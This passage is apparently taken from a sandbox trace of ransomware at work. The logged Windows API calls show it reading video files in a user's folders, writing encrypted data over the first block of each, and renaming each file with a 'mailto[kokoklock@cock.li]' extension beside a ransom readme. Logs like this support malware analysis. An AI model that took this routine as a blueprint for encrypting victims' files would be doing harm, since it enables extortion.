tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.418] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0073.419] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv", dwFileAttributes=0x20) returned 0 [0073.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3434828 [0073.419] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0073.419] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0073.419] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0x20 [0073.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ddfc8) returned 1 [0073.419] RtlExitUserThread (Status=0x1) Thread: id = 591 os_tid = 0x12a4 [0073.420] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv")) returned 0x20 [0073.420] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv", dwFileAttributes=0x20) returned 1 [0073.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x920 [0073.421] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x1753f900 | out: lpFileSize=0x1753f900*=79019) returned 1 [0073.421] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x134a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.421] ReadFile (in: hFile=0x920, lpBuffer=0x1753f8d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1753f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1753f8d4*, lpNumberOfBytesRead=0x1753f8d0*=0x4, lpOverlapped=0x0) returned 1 [0073.421] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef50 [0073.421] NtQuerySystemTime (in: CurrentTime=0x1753f8ac | out: CurrentTime=0x1753f8ac*=132121176313159160) returned 0x0 [0073.421] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x762d75b7 [0073.421] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x5e26ec9b [0073.421] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x3e00847c [0073.421] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xb294d82e [0073.421] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x24c79762 [0073.421] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xdc371ef [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x1ee79885 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x1e7e730c [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xf4684135 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xee7102c0 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xf7480fcc [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xdfac22dd [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xb29b4f54 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x243db8f0 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x45d18413 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x352cb6f4 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x4c01cfb7 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xa8da616b [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xf9cc1353 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xb10e091b [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x23d69797 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x45d7c20f [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x9973327e [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x1c32d6df [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x98d22fdd [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x9a7671fe [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x369b89d1 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0x9bce4c45 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xefb51193 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xc77dc151 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xfa539192 [0073.422] RtlRandom (in: Seed=0x1753f8b8 | out: Seed=0x1753f8b8) returned 0xdae5cbe8 [0073.434] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.434] ReadFile (in: hFile=0x920, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1753f884, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1753f884*=0x4096, lpOverlapped=0x0) returned 1 [0073.434] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0073.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecd0 [0073.434] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ecd0) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef78 [0073.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef78) returned 1 [0073.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.435] WriteFile (in: hFile=0x920, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1753f884, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1753f884*=0x4096, lpOverlapped=0x0) returned 1 [0073.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.436] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x134ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.436] WriteFile (in: hFile=0x920, lpBuffer=0x341ec08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1753f8bc, lpOverlapped=0x0 | out: lpBuffer=0x341ec08*, lpNumberOfBytesWritten=0x1753f8bc*=0x20, lpOverlapped=0x0) returned 1 [0073.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.436] WriteFile (in: hFile=0x920, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1753f8d0, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x1753f8d0*=0x8, lpOverlapped=0x0) returned 1 [0073.436] WriteFile (in: hFile=0x920, lpBuffer=0x1753f8e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1753f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1753f8e8*, lpNumberOfBytesWritten=0x1753f8d0*=0x4, lpOverlapped=0x0) returned 1 [0073.436] WriteFile (in: hFile=0x920, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1753f8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1753f8d0*=0x4, lpOverlapped=0x0) returned 1 [0073.436] WriteFile (in: hFile=0x920, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1753f8d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1753f8d0*=0x6c, lpOverlapped=0x0) returned 1 [0073.436] WriteFile (in: hFile=0x920, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1753f8d0, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x1753f8d0*=0x20, lpOverlapped=0x0) returned 1 [0073.436] WriteFile (in: hFile=0x920, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1753f8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1753f8d0*=0x4, lpOverlapped=0x0) returned 1 [0073.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.436] CloseHandle (hObject=0x920) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33fb1b0 [0073.437] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv" [0073.437] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" [0073.437] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.437] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0073.438] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv", dwFileAttributes=0x20) returned 0 [0073.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3434828 [0073.438] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0073.438] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0073.438] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0x20 [0073.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431fd8) returned 1 [0073.438] RtlExitUserThread (Status=0x1) Thread: id = 592 os_tid = 0x12a8 [0073.439] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4")) returned 0x20 [0073.439] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4", dwFileAttributes=0x20) returned 1 [0073.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x920 [0073.440] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x175bfd84 | out: lpFileSize=0x175bfd84*=16718) returned 1 [0073.440] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x414a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.440] ReadFile (in: hFile=0x920, lpBuffer=0x175bfd58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x175bfd54, lpOverlapped=0x0 | out: lpBuffer=0x175bfd58*, lpNumberOfBytesRead=0x175bfd54*=0x4, lpOverlapped=0x0) returned 1 [0073.440] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef78 [0073.440] NtQuerySystemTime (in: CurrentTime=0x175bfd30 | out: CurrentTime=0x175bfd30*=132121176313315339) returned 0x0 [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x741df6ad [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x172f5d4b [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xfa8a91af [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xee603299 [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xd2b436fa [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x9a004633 [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x6dc33e41 [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x6cad86c5 [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xf50e41ae [0073.440] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x879dc79d [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x312a9137 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xb198476f [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xfd79ec16 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xd540b7d2 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x45daae8d [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x2f16524b [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x167ad3fc [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x23bc612a [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xa25808bd [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x3246ba1f [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xf51db649 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xf7849cdc [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x49042e65 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xb000aab5 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xc7b5dd3 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x18e21a3f [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x8ee1573f [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x7f412975 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xe9e4fb06 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x2a165a1c [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0x2d224fd3 [0073.441] RtlRandom (in: Seed=0x175bfd3c | out: Seed=0x175bfd3c) returned 0xfc61f6b [0073.454] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.454] ReadFile (in: hFile=0x920, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x175bfd08, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x175bfd08*=0x4096, lpOverlapped=0x0) returned 1 [0073.454] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0073.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecd0 [0073.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ecd0) returned 1 [0073.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341efa0 [0073.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341efa0) returned 1 [0073.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.455] WriteFile (in: hFile=0x920, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x175bfd08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x175bfd08*=0x4096, lpOverlapped=0x0) returned 1 [0073.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.455] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x414e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.455] WriteFile (in: hFile=0x920, lpBuffer=0x341ec08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x175bfd40, lpOverlapped=0x0 | out: lpBuffer=0x341ec08*, lpNumberOfBytesWritten=0x175bfd40*=0x20, lpOverlapped=0x0) returned 1 [0073.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.455] WriteFile (in: hFile=0x920, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x175bfd54, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x175bfd54*=0x8, lpOverlapped=0x0) returned 1 [0073.456] WriteFile (in: hFile=0x920, lpBuffer=0x175bfd6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x175bfd54, lpOverlapped=0x0 | out: lpBuffer=0x175bfd6c*, lpNumberOfBytesWritten=0x175bfd54*=0x4, lpOverlapped=0x0) returned 1 [0073.456] WriteFile (in: hFile=0x920, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x175bfd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x175bfd54*=0x4, lpOverlapped=0x0) returned 1 [0073.456] WriteFile (in: hFile=0x920, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x175bfd54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x175bfd54*=0x6c, lpOverlapped=0x0) returned 1 [0073.456] WriteFile (in: hFile=0x920, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x175bfd54, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x175bfd54*=0x20, lpOverlapped=0x0) returned 1 [0073.456] WriteFile (in: hFile=0x920, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x175bfd54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x175bfd54*=0x4, lpOverlapped=0x0) returned 1 [0073.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.456] RtlFreeHeap 